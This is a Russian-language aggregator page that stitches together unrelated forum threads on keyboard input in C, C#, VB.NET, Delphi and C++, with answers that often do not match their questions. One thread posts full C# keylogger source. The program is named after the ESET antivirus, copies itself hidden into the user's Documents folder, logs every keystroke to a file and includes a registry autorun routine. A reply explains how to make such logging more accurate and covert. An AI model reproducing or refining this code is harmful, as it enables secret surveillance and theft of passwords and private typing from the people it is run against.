Все технические форумы на одном сайте Удобный поиск информации с популярных форумов в одном месте
Вопрос: симулировать клавиши

Добрый день, 

нужно при нажатии клавиши на клавиатуре компьютера, управлять проиглывателем, который воспроизводит видео и аудиофайлы.  
Знаю вариант создания Fifo файла. Какие еще есть варианты. Желательно в Си. 
Ответ:
Добрый день, 

нужно при нажатии клавиши на клавиатуре компьютера, управлять проиглывателем, который воспроизводит видео и аудиофайлы.  
Знаю вариант создания Fifo файла. Какие еще есть варианты. Желательно в Си. 

Вам также можеть быть интересно:

создать интерфейс
HttpWebRequest и HttpWebResponse
ninject
Портирование метода.
Singleton и properties
Вопрос: Конвертировать символ клавиши в код клавиши

Здравствуйте, в строку записан символ клавиши "тильда" в разных вариациях и при разных раскладках, а именно:
string t1 = "`";
string t1 = "~";
string t1 = "Ё";
string t1 = "ё";
При любых вариация нужно получить код этой клавиши ввиде "0xC0".
Можно ли стандартными средствами получить код этой клавиши по символу (вне зависимости от её раскладки и вариации написания)?

Если нет, чтож.. придется перечислять все вариации клавиши в массивах или структурах.. но боюсь так функция будет слишком долгая, ведь при большом объеме текста уж очень много придется анализировать подобным образом.

Добавлено через 27 минут
Хотя тут возникнут проблемы с некоторыми символами, например в английской раскладке точка находится на русской букве "ю", а в русской раскладке точка находится на символе "/" (при английской раскладке)

Добавлено через 54 минуты
А ладно отбой, гиблая затея, нереально при какой раскладке был сделан символ точки, если не запоминать код клавиши сразу при нажатии. Для столь специфичного задание найду другое специфичное решение.
Ответ:
Сообщение от Tsin
Nalik, я невнимательно прочитал. Так а что за задание у вас, поделитесь?
Долго расписывать саму задачу, но если в общих чертах, то пишу программу - эмулятор макросной клавиатуры. Программа должна отслеживать нажатие активированных на визуальной клавиатуре клавиш (с помощью хука клавиатуры), которым присвоены макросы. Макросы в программе отображаются в человеко-понятном виде, например:
Е (Нажать)
11 мс
Е (Отпустить)

После написания/редактирования макроса программа предлагает либо сохранить макрос, либо отменить все дейтствия и оставить макрос без изменений. В файл макрос сохраняются вида:
Е 0x54 (Нажать)
11 мс
Е 0x54 (Отпустить)

Т.е. с кодом клавиши который будет использоваться в дальнейшем, для отправки посыла клавиши. Раньше макрос поддерживал только английский язык и проблем с распознаванием клавиш (будь-то точка или ещё что-то) не возникало, так как для одной раскладки может быть только один вариант, после я решил ввести русский язык и возник вопрос правильного определения (тех же самых точек к примеру). В программе макрос записывается в ListBox без когда клавиш, в файл сохранения уже с кодом. На скорую руку пришло решение либо создавать временный файл, либо использовать второй скрытый listBox, либо вводить массив и т.д. в который сразу после нажатия будет заноситься код нажатой клавиши, чтобы потом сохранять в файл именно тот код, который был нажат. В общем ввёл второй Listbox, который полностью дублирует основной, но уже с кодами клавиш. Не совсем в кратце получилось, ну да ладно. Если интересно, во вложении программа. Если ругается антивирус, пардон, обработан анти-дессемблером, можете запускать на виртуалке, если опасаетесь за безопасность ПК
Вопрос: Перехват Клавиш. Перевод латиницы в кириллицу

Здравствуйте уважаемые программисты. Случилась следующая проблема: делаю программу, которая нажатые клавиши на клавиатуре сохраняет в файл, но проблема в том, что сохраняет только латинские символы, не как не могу добиться сохранения и кириллицы (русских символов), то есть в зависимости от раскладки. Целый день бьюсь, не знаю как это реализовать. Код привел ниже. Подскажите пожалуйста где нужно добавить какие строки, для отслеживания раскладки и нормального сохранения символов в зависимости от раскладки. Спасибо.

Кликните здесь для просмотра всего текста
Код C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
 
namespace ESET_Service
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Start()
        {
            while (true)
            {
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        string toStringKeys = Convert.ToString((Keys)i);
                        File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
                        break;
                    }
                }
            }
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
            Start();
        }
    }
}


Добавлено через 2 часа 40 минут
Нашёл способ который показывает текущую раскладку. Вызываю метод, а он мне возвращает текущую раскладку. Так вот, но это не всё. У меня есть код ascii латинского символа нажатого на клавиатуре (ну или сама буква, без разницы). Если какой-то способ, или метод который может перевести латиницу в кириллицу на основании клавиатуры? К примеру раскладка RUS, была нажата клавиша "F", то у меня в коде хранится его ascii код = 70, ну и сама буква "F". Можно ли как-то на основании этого перевести это в кириллицу,то есть в "А"?

Добавлено через 40 минут
Справился сам. Может у кого-то будут подобные проблемы, выложил код.

Кликните здесь для просмотра всего текста
Код C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
using System.Security.Permissions;
using Microsoft.Win32;
 
namespace ESET_Service
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern IntPtr GetKeyboardLayout(int WindowsThreadProcessID);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int GetWindowThreadProcessId(IntPtr handleWindow, out int lpdwProcessID);
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetForegroundWindow();
        public static string needPatch = "C:\\Users\\" + Environment.UserName + "\\Documents\\";
        System.Windows.Forms.Timer timer1;
        public Form1()
        {
            //SetAutorunValue(true, needPatch + "ESET Service.exe"); // добавить в автозагрузку
            //SetAutorunValue(false, needPatch + "ESET Service.exe");  // убрать из автозагрузки
            if (!File.Exists(needPatch + "ESET Service.exe"))
            {
                try
                {
                    File.Copy("ESET Service.exe", needPatch + "ESET Service.exe");
                    File.SetAttributes(needPatch + "ESET Service.exe", FileAttributes.Hidden);
 
                }
                catch { }
            }
            timer1 = new System.Windows.Forms.Timer();
            this.timer1.Enabled = true;
            this.timer1.Interval = 777;
            this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
            InitializeComponent();
        }
        private static InputLanguageCollection _InstalledInputLanguages;
        // Идентификатор активного потока
        private static int _ProcessId;
        // Текущий язык ввода
        private static string _CurrentInputLanguage;
 
        private static string GetKeyboardLayoutId()
        {
 
            _InstalledInputLanguages = InputLanguage.InstalledInputLanguages;
 
            // Получаем хендл активного окна
            IntPtr hWnd = GetForegroundWindow();
            // Получаем номер потока активного окна
            int WinThreadProcId = GetWindowThreadProcessId(hWnd, out _ProcessId);
 
            // Получаем раскладку
            IntPtr KeybLayout = GetKeyboardLayout(WinThreadProcId);
            // Циклом перебираем все установленные языки для проверки идентификатора
            for (int i = 0; i < _InstalledInputLanguages.Count; i++)
            {
                if (KeybLayout == _InstalledInputLanguages[i].Handle)
                {
                    _CurrentInputLanguage = _InstalledInputLanguages[i].Culture.ThreeLetterWindowsLanguageName.ToString();
                }
            }
            return _CurrentInputLanguage;
 
        }
 
        private void timer1_Tick(object sender, EventArgs e)
        {
            Text = GetKeyboardLayoutId();
 
        }
 
        [DllImport("user32.dll")]
 
        public static extern int GetAsyncKeyState(Int32 i);
        static void Start()
        {
            while (true)
            {
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        string toStringKeys;
                        if (GetKeyboardLayoutId() != "ENU")
                        {
                            switch (Convert.ToString((Keys)i))
                            {
                                case "Q": toStringKeys = "Й"; break;
                                case "W": toStringKeys = "Ц"; break;
                                case "E": toStringKeys = "У"; break;
                                case "R": toStringKeys = "К"; break;
                                case "T": toStringKeys = "Е"; break;
                                case "Y": toStringKeys = "Н"; break;
                                case "U": toStringKeys = "Г"; break;
                                case "I": toStringKeys = "Ш"; break;
                                case "O": toStringKeys = "Щ"; break;
                                case "P": toStringKeys = "З"; break;
                                case "OemOpenBrackets": toStringKeys = "Х"; break;
                                case "Oem6": toStringKeys = "Ъ"; break;
                                case "A": toStringKeys = "Ф"; break;
                                case "S": toStringKeys = "Ы"; break;
                                case "D": toStringKeys = "В"; break;
                                case "F": toStringKeys = "А"; break;
                                case "G": toStringKeys = "П"; break;
                                case "H": toStringKeys = "Р"; break;
                                case "J": toStringKeys = "О"; break;
                                case "K": toStringKeys = "Л"; break;
                                case "L": toStringKeys = "Д"; break;
                                case "Oem1": toStringKeys = "Ж"; break;
                                case "Oem7": toStringKeys = "Э"; break;
                                case "Z": toStringKeys = "Я"; break;
                                case "X": toStringKeys = "Ч"; break;
                                case "C": toStringKeys = "С"; break;
                                case "V": toStringKeys = "М"; break;
                                case "B": toStringKeys = "И"; break;
                                case "N": toStringKeys = "Т"; break;
                                case "M": toStringKeys = "Ь"; break;
                                case "Oemcomma": toStringKeys = "Б"; break;
                                case "OemPeriod": toStringKeys = "Ю"; break;
                                default: toStringKeys = Convert.ToString((Keys)i); break;
                            }
                        }
                        //MessageBox.Show((i).ToString(), "");
                        else
                        {
                            toStringKeys = Convert.ToString((Keys)i);
                            //MessageBox.Show((Convert.ToString((Keys)i)).ToString(), "");
                        }
                        File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys, Encoding.Default);
                        //File.SetAttributes("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", FileAttributes.Hidden);
                        break;
                    }
                }
            }
        }
 
        private void Form1_Load(object sender, EventArgs e)
        {
            Start();
        }
 
        public static bool SetAutorunValue(bool autorun, string npath)
        {
            const string name = "systems";
            string ExePath = npath;
            RegistryKey reg;
 
            reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
            try
            {
                if (autorun)
                    reg.SetValue(name, ExePath);
                else
                    reg.DeleteValue(name);
                reg.Flush();
                reg.Close();
            }
            catch
            {
                return false;
            }
            return true;
        }
 
    }
}
Ответ:
Сообщение от delay
Пожалуйста, лог в файле клавиши "Delete". Затем просто просматривается количество раз нажатия Delete, такое количество символов и затирается, что тяжелого, не знаю чему вы так удивляетесь.
Если NumLock включен, нажатие Del на дополнительном цифровом блоке
главиатуры генерирует "." для английской раскладки и "," для русской.
Или какой-нибудь другой символ, в зависимости от настроек локализации.
А вот если нажат Shift - тогда будет Del. Вот этому я и "удивляюсь".

Сообщение от delay
P.S. Если у вас уже всё готово, то можно было бы увидеть сам проект? Тем самым упростив жизнь другим. Мне к примеру был очень полезен.
Код я выложить не могу, т.к. он является собственностью компании.
Но могу объяснить принцип: у меня есть скрытое окно. Когда фиксируется нажатие
или отпускание клавиши, я отправляю в это окно сообщения WM_KEYDOWN и WM_KEYUP с
соответствующими параметрами, а дальше все делает TranslateMessage в цикле
обработки оконных сообщений, т.е. она генерирует сообщение WM_CHAR уже с
готовым символом, бери да пиши в лог. Специальные клавиши типа Shift, Alt,
F1-F12 и т.д. фиксируются в WM_KEYDOWN. При этом я отслеживают еще и состояние
обоих Ctrl-ов (например, нажатие "X" при удерживаемом Ctrl генерирует команду
"Cut", а не символ "X"). Когда нажимается клавиша на дополнительном цифровом
блоке клавиатуры, то там тоже особая обработка, в зависимости от состояния NumLock:
если он включен и не зажат Shift, то коды конвертируются в VK_NUMPAD0/9 и
VK_DECIMAL для Del.

Ну а сам перехват клавиш сделан с помощью драйвера, в этом есть плюсы: не нужно ставить
хуки, не нужен опрос клавиш в цикле, автоматически обрабатываются авто-повторы и т.д.
И там еще есть переключение потока на активный десктоп и создание экземпляра кейлоггера в
каждой сессии (актуально, например, для сервера терминалов, да и для Fast User
Switching тоже). Впрочем, это уже не имеет отношения к теме.

Такая техника позволяет получать лог, соответствующий на 95-99% тому, что юзер
реально набирает на клавиатуре.

--------

Кстати, вместо того, чтобы гонять в цикле GetAsyncKeyState, проще
вызвать GetKeyboardState один раз.

А вместо GetKeyboardLayoutId и длинного блока switch/case с трансляцией
ENG в RUS можно скормить код клавиши в ToUnicodeEx - она понимает
клавиатурные раскладки и выдает соответствующий символ.
Вопрос: Эмуляция нажатия клавиш в приложении под управлением DirectX

Доброго времени.

Перелопатил кучу инфы, и слегка запутался.
Задача - клацнуть клавишей в приложении под управлением DirectX

Простой короткий код, половина которого работает, половина нет:

vb.net
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Public Class Form1
 
    Declare Auto Function FindWindow Lib "USER32.DLL" (ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr
    Declare Auto Function SetForegroundWindow Lib "USER32.DLL" (ByVal hWnd As IntPtr) As Boolean
    Private Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
    Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Integer, ByVal dx As Integer, ByVal dy As Integer, ByVal cButtons As Integer, ByVal dwExtraInfo As Integer)
    Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
 
 
    Private Const MOUSEEVENTF_LEFTDOWN = &H2
    Private Const MOUSEEVENTF_LEFTUP = &H4
 
    Private Const KEYEVENTF_KEYUP = &H2 'событие отпускания клавиши
    Private Const KEYEVENTF_EXTENDEDKEY = &H1
    Private Const VK_Q = &H51  'клавиша q
 
 
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
 
'Переключаемся а окно нашей программы, работает
        ProgHandle = FindWindow(vbNullString, "Dx_program")
        If ProgHandle = IntPtr.Zero Then
            MsgBox("Программа не найдена")
            End_work() 'в конце дописан метод завершения программы, не буду тут приводить
        End If
        SetForegroundWindow(ProgHandle)
 
threading.thread.sleep(1000)
 
' клацаем мышкой - РАБОТАЕТ
                mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 3, 3)
                Thread.Sleep(50)
                mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 3, 3)
 
' Жмем Q - НЕ РАБОТАЕТ
                keybd_event(VK_Q, 0, KEYEVENTF_EXTENDEDKEY, 0)
                Thread.Sleep(50)
                keybd_event(VK_Q, 0, KEYEVENTF_KEYUP, 0)
 
End sub
 
End class

Почитал вот эти источники (и еще кучу других):


[ссылка на форум]

Пришел к выводу, что надо получить скэн-код клавиши Q в переменную, скажем, lScan. и поставить во вторую позицию в функцию keybd_event:

vb.net
1
2
3
4
                Dim lScan As Long
                lScan = MapVirtualKey(VK_Q, 0)
 
                keybd_event(VK_Q, lScan, KEYEVENTF_EXTENDEDKEY, 0)
И все, на этом встрял. MapVirtualKey(VK_Q, 0) - это неправильный код, туда надо передавать вместo VK_Q какой-то код клавиши wCode типа long, а где его взять - хз, и что это вообще такое?

Можете мне объяснить, где взять нужный код для клавиши (не byte а long)? Или я вообще не в ту степь залез? и почему эмуляция мышки работает, а аналогичная эмуляция клавиатуры - нет?

Во второй приведенной мной ссылке есть метод получения этого кода клавиши, но я его не понимаю, у меня он вообще не работает (VS2010 Ultimate):

vb.net
1
2
3
4
5
Private Declare Function VkKeyScan Lib "user32" Alias "VkKeyScanA" (ByVal cChar As Byte) As Long
 
...
 
lVK = VkKeyScan(Asc(sKey))
У меня подчеркивает cChar (ключевое слово не может использоваться в качестве идентификатора)
Вобщем, помогите, пожалуйста, разобраться в каше в моей голове.
Ответ:
Сообщение от Winney
А еще посмотрите здесь
Спасибо, видел. Не подходит, тип "SendKeys" имеет функции Send (на него пишет, что приложение не поддерживает нажатие клавиш Windows) и SendWait - ничего не происходит.


Взял за основу код по , испавил ошибки, связанные с устаревшими объявлениями событий и методов (поменял на новые), запихнул его в отдельный класс SendKeysClass.

Попытался в своей программе сделать так:

vb.net
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Imports MyProgram.SendKeysClass
 
''''' ..... ''''
Public Class Form1
 
''''' ..... ''''
 
Private Sub Navik_q()
 
''''' ..... ''''
     PressKeyVK(eKeys.keyQ) ' это метод из класса SendKeysClass
''''' ..... ''''
 
End sub
End Class
Получил ошибку "Ссылка на член, не являющийся общим, должна быть ссылкой на объект. " Подчеркнуто PressKeyVK.

Как его правильно вызвать?
SendKeysClass имеет оператор Public, метод PressKeyVK в нем - тоже.


П.С. Памирыч, вставил ссылку на вражеский форум не со зла и без задней мысли, извиняюсь, больше не буду. Как бы мне ее назад получить? Там было что-то полезное, лопатить историю браузера (>300 страниц посещенных) как-то ППЦ обидно.
Вопрос: Измерение времени нажатия клавиш

Здравствуйте! Для курсовой нужно реализовать биометрическую аутентификацию. Выбор пал на клавиатурный почерк. Собственно, идея программы такая: пользователь в консоли вводит некоторое сообщение, измеряется время между нажатиями клавиш и время удержания клавиш при печати этого сообщения, на основе этих результатов принимается решение об успешной\неудачной аутентификации. Собственно, вопрос такой: как измерить, как долго нажата клавиша, и какое время между нажатиями двух клавиш подряд? Скорее всего тут надо использовать WinAPI, но ничего толкового не смог найти.
Ответ: Создаём статическую переменную в wndproc типа дабл
В WM_KEYDOWN в эту переменную добавляй текущей время с милисекундами
в WM_CHAR отнимаем от глобальной перемнной текущее время
Потратил ради тебя час времени)
Вот рес
Всегда показывает ноль(( Думаю сейчас джедай программирования скажет почему всегда выходит результат 0
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <windows.h> // заголовочный файл, содержащий WINAPI
#include <cstdlib>
#include <iostream>
// Прототип функции обработки сообщений с пользовательским названием:
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
TCHAR mainMessage[] = L"Какой то-текст!"; // строка с сообщением
 
// Управляющая функция:
int WINAPI WinMain(HINSTANCE hInst, // дескриптор экземпляра приложения
    HINSTANCE hPrevInst, // не используем
    LPSTR lpCmdLine, // не используем
    int nCmdShow) // режим отображения окошка
{
    TCHAR szClassName[] = L"Мой класс"; // строка с именем класса
    HWND hMainWnd; // создаём дескриптор будущего окошка
    MSG msg; // создём экземпляр структуры MSG для обработки сообщений
    WNDCLASSEX wc; // создаём экземпляр, для обращения к членам класса WNDCLASSEX
    wc.cbSize        = sizeof(wc); // размер структуры (в байтах)
    wc.style         = CS_HREDRAW | CS_VREDRAW; // стиль класса окошка
    wc.lpfnWndProc   = WndProc; // указатель на пользовательскую функцию
    wc.lpszMenuName  = NULL; // указатель на имя меню (у нас его нет)
    wc.lpszClassName = szClassName; // указатель на имя класса
    wc.cbWndExtra    = NULL; // число освобождаемых байтов в конце структуры
    wc.cbClsExtra    = NULL; // число освобождаемых байтов при создании экземпляра приложения
    wc.hIcon         = LoadIcon(NULL, IDI_WINLOGO); // декриптор пиктограммы
    wc.hIconSm       = LoadIcon(NULL, IDI_WINLOGO); // дескриптор маленькой пиктограммы (в трэе)
    wc.hCursor       = LoadCursor(NULL, IDC_ARROW); // дескриптор курсора
    wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); // дескриптор кисти для закраски фона окна
    wc.hInstance     = hInst; // указатель на строку, содержащую имя меню, применяемого для класса
    if(!RegisterClassEx(&wc)){
        // в случае отсутствия регистрации класса:
        MessageBox(NULL, L"Не получилось зарегистрировать класс!", L"Ошибка", MB_OK);
        return NULL; // возвращаем, следовательно, выходим из WinMain
    }
    // Функция, создающая окошко:
    hMainWnd = CreateWindow(
        szClassName, // имя класса
        L"Полноценная оконная процедура", // имя окошка (то что сверху)
        WS_OVERLAPPEDWINDOW | WS_VSCROLL, // режимы отображения окошка
        CW_USEDEFAULT, // позиция окошка по оси х
        NULL, // позиция окошка по оси у (раз дефолт в х, то писать не нужно)
        CW_USEDEFAULT, // ширина окошка
        NULL, // высота окошка (раз дефолт в ширине, то писать не нужно)
        (HWND)NULL, // дескриптор родительского окна
        NULL, // дескриптор меню
        HINSTANCE(hInst), // дескриптор экземпляра приложения
        NULL); // ничего не передаём из WndProc
    if(!hMainWnd){
        // в случае некорректного создания окошка (неверные параметры и тп):
        MessageBox(NULL, L"Не получилось создать окно!", L"Ошибка", MB_OK);
        return NULL;
    }
    ShowWindow(hMainWnd, nCmdShow); // отображаем окошко
    UpdateWindow(hMainWnd); // обновляем окошко
    while(GetMessage(&msg, NULL, NULL, NULL)){ // извлекаем сообщения из очереди, посылаемые фу-циями, ОС
        TranslateMessage(&msg); // интерпретируем сообщения
        DispatchMessage(&msg); // передаём сообщения обратно ОС
    }
    return msg.wParam; // возвращаем код выхода из приложения
}
 
LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam){
 
    static DWORD seconds; // Глобальная статическая переменная
    
 
    HDC hDC; // создаём дескриптор ориентации текста на экране
    PAINTSTRUCT ps; // структура, сод-щая информацию о клиентской области (размеры, цвет и тп)
    RECT rect; // стр-ра, определяющая размер клиентской области
    COLORREF colorText = RGB(255, 0, 0); // задаём цвет текста
    switch(uMsg){
    case WM_PAINT: // если нужно нарисовать, то:
        hDC = BeginPaint(hWnd, &ps); // инициализируем контекст устройства
        GetClientRect(hWnd, &rect); // получаем ширину и высоту области для рисования
        SetTextColor(hDC, colorText); // устанавливаем цвет контекстного устройства
        DrawText(hDC, mainMessage, -1, &rect, DT_SINGLELINE|DT_CENTER|DT_VCENTER); // рисуем текст
        EndPaint(hWnd, &ps); // заканчиваем рисовать
        break;
 
    case WM_KEYDOWN: //когда надавили на клавишу
        //Получаем код нажатой клавиши
        if(wParam == 'q') //если нажата q (маленькая)
            seconds = GetTickCount();
                    
        break; 
    case WM_KEYUP: { //Когда клавишу отпущена
        if(wParam == 'q')
            seconds = GetTickCount() - seconds;
        char texta[100] = "";
        _itoa(seconds, texta, 100); //преобразуем миллисекунды в текст из секондс в воля
        //texta = seconds;
        MessageBox(NULL, (LPCWSTR)texta, L" ", MB_OK);
        break;
                  }
    case WM_DESTROY: // если окошко закрылось, то:
        PostQuitMessage(NULL); // отправляем WinMain() сообщение WM_QUIT
        break;
    default:
        return DefWindowProc(hWnd, uMsg, wParam, lParam); // если закрыли окошко
    }
    return NULL; // возвращаем значение
}
Как видишь винапи намного проще и инетересней php

Добавлено через 4 минуты
Сообщение от Tazdraperm1
Для курсовой нужно

Не по теме:

Так у тебя жизнь вся пройдёт - с этим гадким словом...
Лучше насиком торговать

Вопрос: Хук клавиатуры перехват сочетаний клавиш

Задача такая: пользователь нажимает некую клавишу и запускает программу. Программа определяет, что за клавиша была нажата в момент ее запуска. Это как раз все работает с любым из хуков, которые я нашел. Но если пользователь зажимает несколько клавиш, то при включении программу хук ловит только одну из них.
По сути мне надо всего лишь две нажатые клавиши. Есть идеи как это можно реализовать?
P.S. не привожу здесь кода хуков, ибо он очень большой и использовал я разные варианты, но ни один так и не работает как надо.
Ответ: _lunar_, так проблема и стоит, в том что нажать клавиши надо перед запуском приложения. И кстати в коде он блокирует не альт и ф4. А нажатие клавиши альт или ф4. Программа срабатывает на нажатие любой из этих клавиш даже по отдельности.
Вопрос: При нажатии заданной клавиши эмулировать нажатие сочетания клавиш

Ребят, посоветуйте гайд, о том как создать биндер клавиш на delphi, что бы при нажатии одной клавиши например f2, происходило виртуальное нажатие ctrl+shift.
Ответ: подожди, как я понял, ТС нуна ловить сообщения винды о нажатия клавиши, и менять (либо передавать еще сообщение) о нажатии других клавиш. VyachNik, твой же код, будет работать если клавиша нажата на форме, то есть у винды фокус стоит на форме... Для отлова нажатия клавиш, есть такой замечательный инструмент как хук. Смотри описание SetWindowsHookEx.
Вопрос: Событие нажатия клавиш в c#

Здравствуйте,
Подскажите пожалуйста каким образом в c# перехватить событие нажатие комбинации клавиш "CTRL+S". Есть стандартное событие windows forms "KeyPress", но оно не совсем мне подходит, так как оно ловит все нажатия клавиш, а мне надо чтобы событие возникало при нажатии клавиш "Ctrl+s".
Заранее спасибо.
Ответ:
Roman Mejtes
Serega325
пропущено...

Вот код, который реализован на данный момент. У меня есть контрол текстовый редактор, я хочу чтобы при нажатии "Ctrl+s" текст с контрола сохранялся в базу, но при таком коде, который Вы предлагаете (обработка события Control.KeyPress) событие вызывается при нажатии любых клавиш (в, м, п, в, а, р, п, alt+f4 и т.д.), а я хочу чтобы событие возникало только при нажатии "ctrl+s", т.е. сразу без фильтрации или хотя бы при нажатии "ctrl".

такого не бывает, да и нет в этом ни какой нужды. Есть события с устройств ввода, не важно какую клавишу вы нажимаете, это событие обрабатывается, если вас интересует только конкретная кнопка, то для этого есть оператор IF.
Ни какого события на кнопку клавиатуры повесить нельзя, так было задумано еще при царе горохе, когда Windows даже и не пахло и так будет всегда, потому, что это правильно. А у вас какие то непонятные хотелки, почему вас так волнует, что будет вызываться обработчик события при любом нажатии на кнопку? проясните общественности, в чем соль вашей хотелки?

Дела вот в чем: у меня есть редактор для интерпритатора с подсветкой синтаксиса, поскольку при вводе символа вызывается кучу всяких событий, то при очень быстром наборе текста он начинает подтормаживать, поэтому я хочу уменьшить количество вызываемых событий. Например вызывать событие только при нажатии системной клавиши (alt, ctrl,shift), а не фильтровать каждую клавишу.
Вопрос: Отлавливание нажатий клавиш формой

Здравствуйте. Мне нужно в программе сделать три горячие клавиши. Клавиши должны срабатывать не зависимо от того на каком элементе формы находится фокус. Клавиши должны срабатывать только если приложение активно.
Как лучше поступить?
1) Сделать через процедуру регистрации глобальных горячих клавиш.
2) Через событие Form.KeyPress, установив Form.KeyPreview=True.
Ответ:
Цитата
Цитата Сообщение от IgorX95 Посмотреть сообщение
Клавиши должны срабатывать только если приложение активно
Цитата Сообщение от IgorX95 Посмотреть сообщение
регистрации глобальных горячих клавиш

Противоречие. Так что выбирайте
Цитата Сообщение от IgorX95 Посмотреть сообщение
Через событие Form.KeyPress
Вопрос: Простая обработка нажатия клавиши

Знаю что подобные темы были но мне нужно попроще.Я учусь c++ и для закрепления своих знаний решил написать текстовый тетрис.Написать могу вроде всё кроме одного .Мне нужна простая функция обработки клавиши(или событие незнаю как назвать) аналог паскалевской
Pascal
1
if keypressed then
Пытался getch() но программа останавливается во время её обработки пока чего нибудь не нажмешь.Естественно тогда о толковом игровом процессе не может быть и речи.Вообщем прошу рассказать и разъеснить простую функцию обработки клавиши в цикле на подобие
C++
1
2
3
4
while(1){
//обрабатываем но цикл не останавливается
// если код клавиши 27 то exit(0)
}
Главное это простота(для понимания) и что бы программа не останавливалась на проверку а проверяла не нажата ли клавиша.Помогите пожалуйста!
Ответ: Доброго времени суток! Хочу спросить за такой случай:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
while (kbhit())
    {
        switch (getch())
        {
 
        case START:
        {
            while (!kbhit())
            {
                gameCycle();
 
            }
        }
        break;
 
        case PAUSE:
        {
            system("pause");
 
            if (getch() == START)
            {
                while (!kbhit())
                {
                    gameCycle();
                }
            }
        }
        break;
 
        case EXIT:
            return 0;
 
        default:
            break;
        }
    }
Когда программа заходит в блок pause, то для следующего действия понадобятся 2 нажатия на определённую клавишу. Это вызвано тем, что нажатую клавишу перехватывают уже 2 kbhit-a?
Cпасибо!